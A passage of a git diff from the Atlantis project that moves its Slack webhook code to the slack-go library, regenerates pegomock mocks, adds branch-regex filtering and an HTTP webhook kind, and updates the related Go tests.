[]pegomock.Param{} + _result := pegomock.GetGenericMockFrom(mock).Invoke("AuthTest", _params, []reflect.Type{reflect.TypeOf((**slack.AuthTestResponse)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 *slack.AuthTestResponse + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(*slack.AuthTestResponse) } - if result[1] != nil { - ret1 = result[1].(error) + if _result[1] != nil { + _ret1 = _result[1].(error) } } - return ret0, ret1 + return _ret0, _ret1 } -func (mock *MockUnderlyingSlackClient) GetChannels(excludeArchived bool) ([]slack.Channel, error) { +func (mock *MockUnderlyingSlackClient) GetConversations(conversationParams *slack.GetConversationsParameters) ([]slack.Channel, string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockUnderlyingSlackClient().") } - params := []pegomock.Param{excludeArchived} - result := pegomock.GetGenericMockFrom(mock).Invoke("GetChannels", params, []reflect.Type{reflect.TypeOf((*[]slack.Channel)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 []slack.Channel - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].([]slack.Channel) + _params := []pegomock.Param{conversationParams} + _result := pegomock.GetGenericMockFrom(mock).Invoke("GetConversations", _params, []reflect.Type{reflect.TypeOf((*[]slack.Channel)(nil)).Elem(), reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 []slack.Channel + var _ret1 string + var _ret2 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].([]slack.Channel) } - if result[1] != nil { - ret1 = result[1].(error) + if _result[1] != nil { + _ret1 = _result[1].(string) + } + if _result[2] != nil { + _ret2 = _result[2].(error) } } - return ret0, ret1 + return _ret0, _ret1, _ret2 } -func (mock *MockUnderlyingSlackClient) PostMessage(channel string, text string, parameters slack.PostMessageParameters) (string, string, error) { +func (mock *MockUnderlyingSlackClient) PostMessage(channelID string, options ...slack.MsgOption) (string, string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockUnderlyingSlackClient().") } - params := []pegomock.Param{channel, text, parameters} - result := pegomock.GetGenericMockFrom(mock).Invoke("PostMessage", params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 string - var ret1 string - var ret2 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(string) + _params := []pegomock.Param{channelID} + for _, param := range options { + _params = append(_params, param) + } + _result := pegomock.GetGenericMockFrom(mock).Invoke("PostMessage", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 string + var _ret2 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) } - if result[1] != nil { - ret1 = result[1].(string) + if _result[1] != nil { + _ret1 = _result[1].(string) } - if result[2] != nil { - ret2 = result[2].(error) + if _result[2] != nil { + _ret2 = _result[2].(error) } } - return ret0, ret1, ret2 + return _ret0, _ret1, _ret2 } func (mock *MockUnderlyingSlackClient) VerifyWasCalledOnce() *VerifierMockUnderlyingSlackClient { @@ -93,14 +100,14 @@ func (mock *MockUnderlyingSlackClient) VerifyWasCalledOnce() *VerifierMockUnderl } } -func (mock *MockUnderlyingSlackClient) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockUnderlyingSlackClient { +func (mock *MockUnderlyingSlackClient) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockUnderlyingSlackClient { return &VerifierMockUnderlyingSlackClient{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } -func (mock *MockUnderlyingSlackClient) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockUnderlyingSlackClient { +func (mock *MockUnderlyingSlackClient) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockUnderlyingSlackClient { return &VerifierMockUnderlyingSlackClient{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -108,7 +115,7 @@ func (mock *MockUnderlyingSlackClient) VerifyWasCalledInOrder(invocationCountMat } } -func (mock *MockUnderlyingSlackClient) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockUnderlyingSlackClient { +func (mock *MockUnderlyingSlackClient) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockUnderlyingSlackClient { return &VerifierMockUnderlyingSlackClient{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -118,14 +125,14 @@ func (mock *MockUnderlyingSlackClient) VerifyWasCalledEventually(invocationCount type VerifierMockUnderlyingSlackClient struct { mock *MockUnderlyingSlackClient - invocationCountMatcher pegomock.Matcher + invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockUnderlyingSlackClient) AuthTest() *MockUnderlyingSlackClient_AuthTest_OngoingVerification { - params := []pegomock.Param{} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "AuthTest", params, verifier.timeout) + _params := []pegomock.Param{} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "AuthTest", _params, verifier.timeout) return &MockUnderlyingSlackClient_AuthTest_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -140,36 +147,41 @@ func (c *MockUnderlyingSlackClient_AuthTest_OngoingVerification) GetCapturedArgu func (c *MockUnderlyingSlackClient_AuthTest_OngoingVerification) GetAllCapturedArguments() { } -func (verifier *VerifierMockUnderlyingSlackClient) GetChannels(excludeArchived bool) *MockUnderlyingSlackClient_GetChannels_OngoingVerification { - params := []pegomock.Param{excludeArchived} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetChannels", params, verifier.timeout) - return &MockUnderlyingSlackClient_GetChannels_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockUnderlyingSlackClient) GetConversations(conversationParams *slack.GetConversationsParameters) *MockUnderlyingSlackClient_GetConversations_OngoingVerification { + _params := []pegomock.Param{conversationParams} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetConversations", _params, verifier.timeout) + return &MockUnderlyingSlackClient_GetConversations_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockUnderlyingSlackClient_GetChannels_OngoingVerification struct { +type MockUnderlyingSlackClient_GetConversations_OngoingVerification struct { mock *MockUnderlyingSlackClient methodInvocations []pegomock.MethodInvocation } -func (c *MockUnderlyingSlackClient_GetChannels_OngoingVerification) GetCapturedArguments() bool { - excludeArchived := c.GetAllCapturedArguments() - return excludeArchived[len(excludeArchived)-1] +func (c *MockUnderlyingSlackClient_GetConversations_OngoingVerification) GetCapturedArguments() *slack.GetConversationsParameters { + conversationParams := c.GetAllCapturedArguments() + return conversationParams[len(conversationParams)-1] } -func (c *MockUnderlyingSlackClient_GetChannels_OngoingVerification) GetAllCapturedArguments() (_param0 []bool) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]bool, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(bool) +func (c *MockUnderlyingSlackClient_GetConversations_OngoingVerification) GetAllCapturedArguments() (_param0 []*slack.GetConversationsParameters) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]*slack.GetConversationsParameters, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(*slack.GetConversationsParameters) + } } } return } -func (verifier *VerifierMockUnderlyingSlackClient) PostMessage(channel string, text string, parameters slack.PostMessageParameters) *MockUnderlyingSlackClient_PostMessage_OngoingVerification { - params := []pegomock.Param{channel, text, parameters} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "PostMessage", params, verifier.timeout) +func (verifier *VerifierMockUnderlyingSlackClient) PostMessage(channelID string, options ...slack.MsgOption) *MockUnderlyingSlackClient_PostMessage_OngoingVerification { + _params := []pegomock.Param{channelID} + for _, param := range options { + _params = append(_params, param) + } + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "PostMessage", _params, verifier.timeout) return &MockUnderlyingSlackClient_PostMessage_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -178,25 +190,28 @@ type MockUnderlyingSlackClient_PostMessage_OngoingVerification struct { methodInvocations []pegomock.MethodInvocation } -func (c *MockUnderlyingSlackClient_PostMessage_OngoingVerification) GetCapturedArguments() (string, string, slack.PostMessageParameters) { - channel, text, parameters := c.GetAllCapturedArguments() - return channel[len(channel)-1], text[len(text)-1], parameters[len(parameters)-1] +func (c *MockUnderlyingSlackClient_PostMessage_OngoingVerification) GetCapturedArguments() (string, []slack.MsgOption) { + channelID, options := c.GetAllCapturedArguments() + return channelID[len(channelID)-1], options[len(options)-1] } -func (c *MockUnderlyingSlackClient_PostMessage_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []string, _param2 []slack.PostMessageParameters) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]string, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(string) - } - _param1 = make([]string, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(string) +func (c *MockUnderlyingSlackClient_PostMessage_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 [][]slack.MsgOption) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]string, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(string) + } } - _param2 = make([]slack.PostMessageParameters, len(c.methodInvocations)) - for u, param := range params[2] { - _param2[u] = param.(slack.PostMessageParameters) + _param1 = make([][]slack.MsgOption, len(c.methodInvocations)) + for u := 0; u < len(c.methodInvocations); u++ { + _param1[u] = make([]slack.MsgOption, len(_params)-1) + for x := 1; x < len(_params); x++ { + if _params[x][u] != nil { + _param1[u][x-1] = _params[x][u].(slack.MsgOption) + } + } } } return diff --git a/server/events/webhooks/slack.go b/server/events/webhooks/slack.go index 7e943c1ef0..c55340cb95 100644 --- a/server/events/webhooks/slack.go +++ b/server/events/webhooks/slack.go @@ -18,7 +18,6 @@ import ( "fmt" - "github.com/pkg/errors" "github.com/runatlantis/atlantis/server/logging" ) @@ -26,32 +25,26 @@ import ( type SlackWebhook struct { Client SlackClient WorkspaceRegex *regexp.Regexp + BranchRegex *regexp.Regexp Channel string } -func NewSlack(r *regexp.Regexp, channel string, client SlackClient) (*SlackWebhook, error) { +func NewSlack(wr *regexp.Regexp, br *regexp.Regexp, channel string, client SlackClient) (*SlackWebhook, error) { if err := client.AuthTest(); err != nil { return nil, fmt.Errorf("testing slack authentication: %s. Verify your slack-token is valid", err) } - channelExists, err := client.ChannelExists(channel) - if err != nil { - return nil, err - } - if !channelExists { - return nil, errors.Errorf("slack channel %q doesn't exist", channel) - } - return &SlackWebhook{ Client: client, - WorkspaceRegex: r, + WorkspaceRegex: wr, + BranchRegex: br, Channel: channel, }, nil } -// Send sends the webhook to Slack if the workspace matches the regex. -func (s *SlackWebhook) Send(log *logging.SimpleLogger, applyResult ApplyResult) error { - if !s.WorkspaceRegex.MatchString(applyResult.Workspace) { +// Send sends the webhook to Slack if workspace and branch matches their respective regex. +func (s *SlackWebhook) Send(_ logging.SimpleLogging, applyResult ApplyResult) error { + if !s.WorkspaceRegex.MatchString(applyResult.Workspace) || !s.BranchRegex.MatchString(applyResult.Pull.BaseBranch) { return nil } return s.Client.PostMessage(s.Channel, applyResult) diff --git a/server/events/webhooks/slack_client.go b/server/events/webhooks/slack_client.go index b3e56a0973..a548f9ea31 100644 --- a/server/events/webhooks/slack_client.go +++ b/server/events/webhooks/slack_client.go @@ -16,7 +16,7 @@ package webhooks import ( "fmt" - "github.com/nlopes/slack" + "github.com/slack-go/slack" ) const ( @@ -24,24 +24,23 @@ const ( slackFailureColour = "danger" ) -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_slack_client.go SlackClient +//go:generate pegomock generate --package mocks -o mocks/mock_slack_client.go SlackClient // SlackClient handles making API calls to Slack. type SlackClient interface { AuthTest() error TokenIsSet() bool - ChannelExists(channelName string) (bool, error) PostMessage(channel string, applyResult ApplyResult) error } -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_underlying_slack_client.go UnderlyingSlackClient +//go:generate pegomock generate --package mocks -o mocks/mock_underlying_slack_client.go UnderlyingSlackClient // UnderlyingSlackClient wraps the nlopes/slack.Client implementation so // we can mock it during tests. type UnderlyingSlackClient interface { AuthTest() (response *slack.AuthTestResponse, error error) - GetChannels(excludeArchived bool) ([]slack.Channel, error) - PostMessage(channel, text string, parameters slack.PostMessageParameters) (string, string, error) + GetConversations(conversationParams *slack.GetConversationsParameters) (channels []slack.Channel, nextCursor string, err error) + PostMessage(channelID string, options ...slack.MsgOption) (string, string, error) } type DefaultSlackClient struct { @@ -65,25 +64,14 @@ func (d *DefaultSlackClient) TokenIsSet() bool { return d.Token != "" } -func (d *DefaultSlackClient) ChannelExists(channelName string) (bool, error) { - channels, err := d.Slack.GetChannels(true) - if err != nil { - return false, err - } - for _, channel := range channels { - if channel.Name == channelName { - return true, nil - } - } - return false, nil -} - func (d *DefaultSlackClient) PostMessage(channel string, applyResult ApplyResult) error { - params := slack.NewPostMessageParameters() - params.Attachments = d.createAttachments(applyResult) - params.AsUser = true - params.EscapeText = false - _, _, err := d.Slack.PostMessage(channel, "", params) + attachments := d.createAttachments(applyResult) + _, _, err := d.Slack.PostMessage( + channel, + slack.MsgOptionAsUser(true), + slack.MsgOptionText("", false), + slack.MsgOptionAttachments(attachments[0]), + ) return err } @@ -114,6 +102,11 @@ func (d *DefaultSlackClient) createAttachments(applyResult ApplyResult) []slack. Value: applyResult.Workspace, Short: true, }, + { + Title: "Branch", + Value: applyResult.Pull.BaseBranch, + Short: true, + }, { Title: "User", Value: applyResult.User.Username, diff --git a/server/events/webhooks/slack_client_test.go b/server/events/webhooks/slack_client_test.go index 1ade8d6ad0..3edd5ba0ef 100644 --- a/server/events/webhooks/slack_client_test.go +++ b/server/events/webhooks/slack_client_test.go @@ -14,16 +14,14 @@ package webhooks_test import ( - "encoding/json" "errors" "testing" - "github.com/nlopes/slack" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/webhooks" "github.com/runatlantis/atlantis/server/events/webhooks/mocks" - . "github.com/petergtz/pegomock" + . "github.com/petergtz/pegomock/v4" . "github.com/runatlantis/atlantis/testing" ) @@ -58,44 +56,15 @@ func TestTokenIsSet(t *testing.T) { Equals(t, true, c.TokenIsSet()) } -func TestChannelExists_False(t *testing.T) { - t.Log("When the slack channel doesn't exist, function should return false") - setup(t) - When(underlying.GetChannels(true)).ThenReturn(nil, nil) - exists, err := client.ChannelExists("somechannel") - Ok(t, err) - Equals(t, false, exists) -} - -func TestChannelExists_True(t *testing.T) { - t.Log("When the slack channel exists, function should return true") - setup(t) - channelJSON := `{"name":"existingchannel"}` - var channel slack.Channel - err := json.Unmarshal([]byte(channelJSON), &channel) - Ok(t, err) - When(underlying.GetChannels(true)).ThenReturn([]slack.Channel{channel}, nil) - - exists, err := client.ChannelExists("existingchannel") - Ok(t, err) - Equals(t, true, exists) -} - -func TestChannelExists_Error(t *testing.T) { - t.Log("When the underlying slack client errors, an error should be returned") - setup(t) - When(underlying.GetChannels(true)).ThenReturn(nil, errors.New("")) - - _, err := client.ChannelExists("anychannel") - Assert(t, err != nil, "expected error") -} - +/* +// The next 2 tests are commented out because they currently fail using the Pegamock's +// VerifyWasCalledOnce using variadic parameters. +// See issue https://github.com/petergtz/pegomock/issues/112 func TestPostMessage_Success(t *testing.T) { t.Log("When apply succeeds, function should succeed and indicate success") setup(t) - expParams := slack.NewPostMessageParameters() - expParams.Attachments = []slack.Attachment{{ + attachments := []slack.Attachment{{ Color: "good", Text: "Apply succeeded for ", Fields: []slack.AttachmentField{ @@ -116,30 +85,37 @@ func TestPostMessage_Success(t *testing.T) { }, }, }} - expParams.AsUser = true - expParams.EscapeText = false channel := "somechannel" err := client.PostMessage(channel, result) Ok(t, err) - underlying.VerifyWasCalledOnce().PostMessage(channel, "", expParams) + underlying.VerifyWasCalledOnce().PostMessage( + channel, + slack.MsgOptionAsUser(true), + slack.MsgOptionText("", false), + slack.MsgOptionAttachments(attachments[0]), + ) t.Log("When apply fails, function should succeed and indicate failure") result.Success = false - expParams.Attachments[0].Color = "danger" - expParams.Attachments[0].Text = "Apply failed for " + attachments[0].Color = "danger" + attachments[0].Text = "Apply failed for " err = client.PostMessage(channel, result) Ok(t, err) - underlying.VerifyWasCalledOnce().PostMessage(channel, "", expParams) + underlying.VerifyWasCalledOnce().PostMessage( + channel, + slack.MsgOptionAsUser(true), + slack.MsgOptionText("", false), + slack.MsgOptionAttachments(attachments[0]), + ) } func TestPostMessage_Error(t *testing.T) { t.Log("When the underlying slack client errors, an error should be returned") setup(t) - expParams := slack.NewPostMessageParameters() - expParams.Attachments = []slack.Attachment{{ + attachments := []slack.Attachment{{ Color: "good", Text: "Apply succeeded for ", Fields: []slack.AttachmentField{ @@ -160,15 +136,19 @@ func TestPostMessage_Error(t *testing.T) { }, }, }} - expParams.AsUser = true - expParams.EscapeText = false channel := "somechannel" - When(underlying.PostMessage(channel, "", expParams)).ThenReturn("", "", errors.New("")) + When(underlying.PostMessage( + channel, + slack.MsgOptionAsUser(true), + slack.MsgOptionText("", false), + slack.MsgOptionAttachments(attachments[0]), + )).ThenReturn("", "", errors.New("")) err := client.PostMessage(channel, result) Assert(t, err != nil, "expected error") } +*/ func setup(t *testing.T) { RegisterMockTestingT(t) @@ -183,8 +163,9 @@ func setup(t *testing.T) { FullName: "runatlantis/atlantis", }, Pull: models.PullRequest{ - Num: 1, - URL: "url", + Num: 1, + URL: "url", + BaseBranch: "main", }, User: models.User{ Username: "lkysow", diff --git a/server/events/webhooks/slack_test.go b/server/events/webhooks/slack_test.go index fbb89f9317..0a88a2f310 100644 --- a/server/events/webhooks/slack_test.go +++ b/server/events/webhooks/slack_test.go @@ -17,7 +17,8 @@ import ( "regexp" "testing" - . "github.com/petergtz/pegomock" + . "github.com/petergtz/pegomock/v4" + "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/webhooks" "github.com/runatlantis/atlantis/server/events/webhooks/mocks" "github.com/runatlantis/atlantis/server/logging" @@ -35,14 +36,18 @@ func TestSend_PostMessage(t *testing.T) { hook := webhooks.SlackWebhook{ Client: client, WorkspaceRegex: regex, + BranchRegex: regex, Channel: channel, } result := webhooks.ApplyResult{ Workspace: "production", + Pull: models.PullRequest{ + BaseBranch: "main", + }, } t.Log("PostMessage should be called, doesn't matter if it errors or not") - _ = hook.Send(logging.NewNoopLogger(), result) + _ = hook.Send(logging.NewNoopLogger(t), result) client.VerifyWasCalledOnce().PostMessage(channel, result) } @@ -57,12 +62,16 @@ func TestSend_NoopSuccess(t *testing.T) { hook := webhooks.SlackWebhook{ Client: client, WorkspaceRegex: regex, + BranchRegex: regex, Channel: channel, } result := webhooks.ApplyResult{ Workspace: "production", + Pull: models.PullRequest{ + BaseBranch: "main", + }, } - err = hook.Send(logging.NewNoopLogger(), result) + err = hook.Send(logging.NewNoopLogger(t), result) Ok(t, err) client.VerifyWasCalled(Never()).PostMessage(channel, result) } diff --git a/server/events/webhooks/webhooks.go b/server/events/webhooks/webhooks.go index dacc267e37..09d74371ed 100644 --- a/server/events/webhooks/webhooks.go +++ b/server/events/webhooks/webhooks.go @@ -24,24 +24,26 @@ import ( ) const SlackKind = "slack" +const HttpKind = "http" const ApplyEvent = "apply" -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_sender.go Sender +//go:generate pegomock generate --package mocks -o mocks/mock_sender.go Sender // Sender sends webhooks. type Sender interface { // Send sends the webhook (if the implementation thinks it should). - Send(log *logging.SimpleLogger, applyResult ApplyResult) error + Send(log logging.SimpleLogging, applyResult ApplyResult) error } // ApplyResult is the result of a terraform apply. type ApplyResult struct { - Workspace string - Repo models.Repo - Pull models.PullRequest - User models.User - Success bool - Directory string + Workspace string + Repo models.Repo + Pull models.PullRequest + User models.User + Success bool + Directory string + ProjectName string } // MultiWebhookSender sends multiple webhooks for each one it's configured for. @@ -52,14 +54,25 @@ type MultiWebhookSender struct { type Config struct { Event string WorkspaceRegex string + BranchRegex string Kind string Channel string + URL string } -func NewMultiWebhookSender(configs []Config, client SlackClient) (*MultiWebhookSender, error) { +type Clients struct { + Slack SlackClient + Http *HttpClient +} + +func NewMultiWebhookSender(configs []Config, clients Clients) (*MultiWebhookSender, error) { var webhooks []Sender for _, c := range configs { - r, err := regexp.Compile(c.WorkspaceRegex) + wr, err := regexp.Compile(c.WorkspaceRegex) + if err != nil { + return nil, err + } + br, err := regexp.Compile(c.BranchRegex) if err != nil { return nil, err } @@ -71,19 +84,30 @@ func NewMultiWebhookSender(configs []Config, client SlackClient) (*MultiWebhookS } switch c.Kind { case SlackKind: - if !client.TokenIsSet() { + if !clients.Slack.TokenIsSet() { return nil, errors.New("must specify top-level \"slack-token\" if using a webhook of \"kind: slack\"") } if c.Channel == "" { return nil, errors.New("must specify \"channel\" if using a webhook of \"kind: slack\"") } - slack, err := NewSlack(r, c.Channel, client) + slack, err := NewSlack(wr, br, c.Channel, clients.Slack) if err != nil { return nil, err } webhooks = append(webhooks, slack) + case HttpKind: + if c.URL == "" { + return nil, errors.New("must specify \"url\" if using a webhook of \"kind: http\"") + } + httpWebhook := &HttpWebhook{ + Client: clients.Http, + WorkspaceRegex: wr, + BranchRegex: br, + URL: c.URL, + } + webhooks = append(webhooks, httpWebhook) default: - return nil, fmt.Errorf("\"kind: %s\" not supported. Only \"kind: %s\" is supported right now", c.Kind, SlackKind) + return nil, fmt.Errorf("\"kind: %s\" not supported. Only \"kind: %s\" and \"kind: %s\" are supported right now", c.Kind, SlackKind, HttpKind) } } @@ -93,10 +117,10 @@ func NewMultiWebhookSender(configs []Config, client SlackClient) (*MultiWebhookS } // Send sends the webhook using its Webhooks. -func (w *MultiWebhookSender) Send(log *logging.SimpleLogger, result ApplyResult) error { +func (w *MultiWebhookSender) Send(log logging.SimpleLogging, result ApplyResult) error { for _, w := range w.Webhooks { if err := w.Send(log, result); err != nil { - log.Warn("error sending slack webhook: %s", err) + log.Warn("error sending webhook: %s", err) } } return nil diff --git a/server/events/webhooks/webhooks_test.go b/server/events/webhooks/webhooks_test.go index 4cd263cd32..edcd80c025 100644 --- a/server/events/webhooks/webhooks_test.go +++ b/server/events/webhooks/webhooks_test.go @@ -14,10 +14,11 @@ package webhooks_test import ( + "net/http" "strings" "testing" - . "github.com/petergtz/pegomock" + . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/events/webhooks" "github.com/runatlantis/atlantis/server/events/webhooks/mocks" "github.com/runatlantis/atlantis/server/logging" @@ -34,6 +35,7 @@ const ( var validConfig = webhooks.Config{ Event: validEvent, WorkspaceRegex: validRegex, + BranchRegex: validRegex, Kind: validKind, Channel: validChannel, } @@ -42,16 +44,49 @@ func validConfigs() []webhooks.Config { return []webhooks.Config{validConfig} } -func TestNewWebhooksManager_InvalidRegex(t *testing.T) { - t.Log("When given an invalid regex in a config, an error is returned") +func validClients() webhooks.Clients { + return webhooks.Clients{ + Slack: mocks.NewMockSlackClient(), + Http: &webhooks.HttpClient{Client: http.DefaultClient}, + } +} + +func TestNewWebhooksManager_InvalidWorkspaceRegex(t *testing.T) { + t.Log("When given an invalid workspace regex in a config, an error is returned") RegisterMockTestingT(t) - client := mocks.NewMockSlackClient() - When(client.ChannelExists(validChannel)).ThenReturn(true, nil) + clients := validClients() invalidRegex := "(" configs := validConfigs() configs[0].WorkspaceRegex = invalidRegex - _, err := webhooks.NewMultiWebhookSender(configs, client) + _, err := webhooks.NewMultiWebhookSender(configs, clients) + Assert(t, err != nil, "expected error") + Assert(t, strings.Contains(err.Error(), "error parsing regexp"), "expected regex error") +} + +func TestNewWebhooksManager_InvalidBranchRegex(t *testing.T) { + t.Log("When given an invalid branch regex in a config, an error is returned") + RegisterMockTestingT(t) + clients := validClients() + + invalidRegex := "(" + configs := validConfigs() + configs[0].BranchRegex = invalidRegex + _, err := webhooks.NewMultiWebhookSender(configs, clients) + Assert(t, err != nil, "expected error") + Assert(t, strings.Contains(err.Error(), "error parsing regexp"), "expected regex error") +} + +func TestNewWebhooksManager_InvalidBranchAndWorkspaceRegex(t *testing.T) { + t.Log("When given an invalid branch and invalid workspace regex in a config, an error is returned") + RegisterMockTestingT(t) + clients := validClients() + + invalidRegex := "(" + configs := validConfigs() + configs[0].WorkspaceRegex = invalidRegex + configs[0].BranchRegex = invalidRegex + _, err := webhooks.NewMultiWebhookSender(configs, clients) Assert(t, err != nil, "expected error") Assert(t, strings.Contains(err.Error(), "error parsing regexp"), "expected regex error") } @@ -59,10 +94,10 @@ func TestNewWebhooksManager_InvalidRegex(t *testing.T) { func TestNewWebhooksManager_NoEvent(t *testing.T) { t.Log("When the event key is not specified in a config, an error is returned") RegisterMockTestingT(t) - client := mocks.NewMockSlackClient() + clients := validClients() configs := validConfigs() configs[0].Event = "" - _, err := webhooks.NewMultiWebhookSender(configs, client) + _, err := webhooks.NewMultiWebhookSender(configs, clients) Assert(t, err != nil, "expected error") Equals(t, "must specify \"kind\" and \"event\" keys for webhooks", err.Error()) } @@ -70,13 +105,12 @@ func TestNewWebhooksManager_NoEvent(t *testing.T) { func TestNewWebhooksManager_UnsupportedEvent(t *testing.T) { t.Log("When given an unsupported event in a config, an error is returned") RegisterMockTestingT(t) - client := mocks.NewMockSlackClient() - When(client.ChannelExists(validChannel)).ThenReturn(true, nil) + clients := validClients() unsupportedEvent := "badevent" configs := validConfigs() configs[0].Event = unsupportedEvent - _, err := webhooks.NewMultiWebhookSender(configs, client) + _, err := webhooks.NewMultiWebhookSender(configs, clients) Assert(t, err != nil, "expected error") Equals(t, "\"event: badevent\" not supported. Only \"event: apply\" is supported right now", err.Error()) } @@ -84,10 +118,10 @@ func TestNewWebhooksManager_UnsupportedEvent(t *testing.T) { func TestNewWebhooksManager_NoKind(t *testing.T) { t.Log("When the kind key is not specified in a config, an error is returned") RegisterMockTestingT(t) - client := mocks.NewMockSlackClient() + clients := validClients() configs := validConfigs() configs[0].Kind = "" - _, err := webhooks.NewMultiWebhookSender(configs, client) + _, err := webhooks.NewMultiWebhookSender(configs, clients) Assert(t, err != nil, "expected error") Equals(t, "must specify \"kind\" and \"event\" keys for webhooks", err.Error()) } @@ -95,15 +129,14 @@ func TestNewWebhooksManager_NoKind(t *testing.T) { func TestNewWebhooksManager_UnsupportedKind(t *testing.T) { t.Log("When given an unsupported kind in a config, an error is returned") RegisterMockTestingT(t) - client := mocks.NewMockSlackClient() - When(client.ChannelExists(validChannel)).ThenReturn(true, nil) + clients := validClients() unsupportedKind := "badkind" configs := validConfigs() configs[0].Kind = unsupportedKind - _, err := webhooks.NewMultiWebhookSender(configs, client) + _, err := webhooks.NewMultiWebhookSender(configs, clients) Assert(t, err != nil, "expected error") - Equals(t, "\"kind: badkind\" not supported. Only \"kind: slack\" is supported right now", err.Error()) + Equals(t, "\"kind: badkind\" not supported. Only \"kind: slack\" and \"kind: http\" are supported right now", err.Error()) } func TestNewWebhooksManager_NoConfigSuccess(t *testing.T) { @@ -111,46 +144,44 @@ func TestNewWebhooksManager_NoConfigSuccess(t *testing.T) { t.Log("passing any client should succeed") var emptyConfigs []webhooks.Config emptyToken := "" - m, err := webhooks.NewMultiWebhookSender(emptyConfigs, webhooks.NewSlackClient(emptyToken)) + anyClients := webhooks.Clients{ + Slack: webhooks.NewSlackClient(emptyToken), + Http: &webhooks.HttpClient{Client: http.DefaultClient}, + } + m, err := webhooks.NewMultiWebhookSender(emptyConfigs, anyClients) Ok(t, err) - Assert(t, m != nil, "manager shouldn't be nil") Equals(t, 0, len(m.Webhooks)) // nolint: staticcheck t.Log("passing nil client should succeed") - m, err = webhooks.NewMultiWebhookSender(emptyConfigs, nil) + m, err = webhooks.NewMultiWebhookSender(emptyConfigs, webhooks.Clients{}) Ok(t, err) - Assert(t, m != nil, "manager shouldn't be nil") Equals(t, 0, len(m.Webhooks)) // nolint: staticcheck } func TestNewWebhooksManager_SingleConfigSuccess(t *testing.T) { t.Log("When there is one valid config, function should succeed") RegisterMockTestingT(t) - client := mocks.NewMockSlackClient() - When(client.TokenIsSet()).ThenReturn(true) - When(client.ChannelExists(validChannel)).ThenReturn(true, nil) + clients := validClients() + When(clients.Slack.TokenIsSet()).ThenReturn(true) configs := validConfigs() - m, err := webhooks.NewMultiWebhookSender(configs, client) + m, err := webhooks.NewMultiWebhookSender(configs, clients) Ok(t, err) - Assert(t, m != nil, "manager shouldn't be nil") Equals(t, 1, len(m.Webhooks)) // nolint: staticcheck } func TestNewWebhooksManager_MultipleConfigSuccess(t *testing.T) { t.Log("When there are 